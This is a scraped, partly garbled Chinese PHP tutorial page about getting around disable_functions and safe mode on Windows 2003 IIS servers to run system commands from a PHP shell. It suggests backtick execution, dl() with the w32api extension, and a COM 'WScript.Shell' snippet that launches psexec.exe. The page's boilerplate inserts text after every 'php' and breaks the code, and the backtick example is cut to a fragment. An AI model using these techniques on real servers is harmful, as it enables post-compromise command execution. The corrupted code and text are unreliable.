New ideas to break through Windows 2003 PHP server_PHP tutorial

WBOY
Release: 2016-07-13 17:33:15
Original
833 people have browsed it

  从WIN2000到WIN XP, 再到WIN2003, MS iis(微软的WEB服务器平台)服务器安全性的提高是显而易见的。 在WIN2000中, 一个普通的php(做为现在的主流开发语言) SHELL便能把它打垮; 在WIN XP, 即使Safe mode = off,你也无法用system() 等函数执行系统命令, 但是我们还能用com()函数进行突破;到WIN 2003,即使iis(微软的WEB服务器平台) 和php(做为现在的主流开发语言)都是默认安装,你用system(), com()也可能拿它没辙。这时候你就不得不使用一些新的方法来进行突破了。 
 
  1、disable_functions的突破

  在php(做为现在的主流开发语言) -4.0.1以上的版本,php(做为现在的主流开发语言).ini里引入了一项功能disable_functions , 这个功能比较有用,可以用它禁止一些函数。比如在php(做为现在的主流开发语言).ini里加上disable_functions = passthru exec system popen 那么在执行这些函数的时候将会提示Warning: system() has been disabled for security reasons,同时程序终止运行。但是也不是没有办法执行系统命令了。因为php(做为现在的主流开发语言)采用了很多perl的特性,比如还可以用(`)来执行命令,示例代码如下:

  $output";?>

  据说这个只有设成safe_mode为on才能避免,但上次我在一台国外的服务器上使用的时候还是失败了,人并不是什么时候都能那么走运的:)

  2、dl()函数的应用

  当任何php(做为现在的主流开发语言)的内部命令执行数和都无法使用的时候,可以尝试dl(),该方法只能用于safe mode=off, 因为它在安全模式下是被禁用的。利用dl()你可以直接调用W32api 函数,可惜这个扩展已被移动到 PECL 库中,且自php(做为现在的主流开发语言) 5.1.0以下版本起不再被绑定。以下是手册里的例子:

  // 加载此扩展

  dl("php(做为现在的主流开发语言)_w32api.dll");

  // 注册 GetTickCount 函数,来自 kernel32.dll

  w32api_register_function("kernel32.dll",

  "GetTickCount",

  "long");

  // 注册 MessageBoxA 函数,来自 User32.dll

  w32api_register_function("User32.dll",

  "MessageBoxA",

  "long");

  // 取得开机时间信息

  $ticks = GetTickCount();

  // 转换为易于理解的文本

  $secs = floor($ticks / 1000);

  $mins = floor($secs / 60);

  $hours = floor($mins / 60);

  $str = sprintf("You have been using your computer for:".

  " %d Milliseconds, or %d Seconds".

  "or %d mins or %d hours %d mins.",

  $ticks,

  $secs,

  $mins,

  $hours,

  $mins - ($hours*60));

  // 显示一个消息对话框,只有一个 OK 按钮和上面的开机时间文本

  MessageBoxA(NULL,

  $str,

  "Uptime Information",

  MB_OK);

  ?>

  可惜我还没有理解透彻dl()和W32api, 所以就不乱举例子了, 免得误导读者。

  3、COM 和 .Net(Windows)函数的应用

  COM(Component Object Model,组件对象模型)是微软开发的软件规范,它用于开发面向对象的、编译好的软件组件,它允许把软件抽象成为二进制的部件,主要运用于windows平台。

  php(做为现在的主流开发语言) 的 Windows 版本已经内置该扩展模块的支持。无需加载任何附加扩展库即可使用COM函数。它的使用方法类似于C++或Java中类的创建的语法,并把COM的类名作为参数传递到构造函数。例如使用在php(做为现在的主流开发语言)中调用“WScript.Shell”执行系统命令:

  $cmd=” E:/cert/admin/psexec.exe”;

  if($com=new COM("WScript.Shell")) echo "yes";

  if(!$cmd1=$com->exec($cmd))

  {

  echo "can not exec()";

  }

  if(!$cmd2=$cmd1->stdout())

  {

  echo "can not stdout()";

  }

  if(!$cmd3=$cmd2->readall())

  {

  echo "can not readall()";

  }

echo $cmd3;

?>

www.bkjia.comtruehttp: //www.bkjia.com/PHPjc/508617.htmlTechArticleFrom WIN2000 to WIN XP, and then to WIN2003, MS iis (Microsoft's WEB server platform) server security improvement is obvious. In WIN2000, an ordinary php (as the current mainstream...
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template
About us Disclaimer Sitemap
php.cn:Public welfare online PHP training,Help PHP learners grow quickly!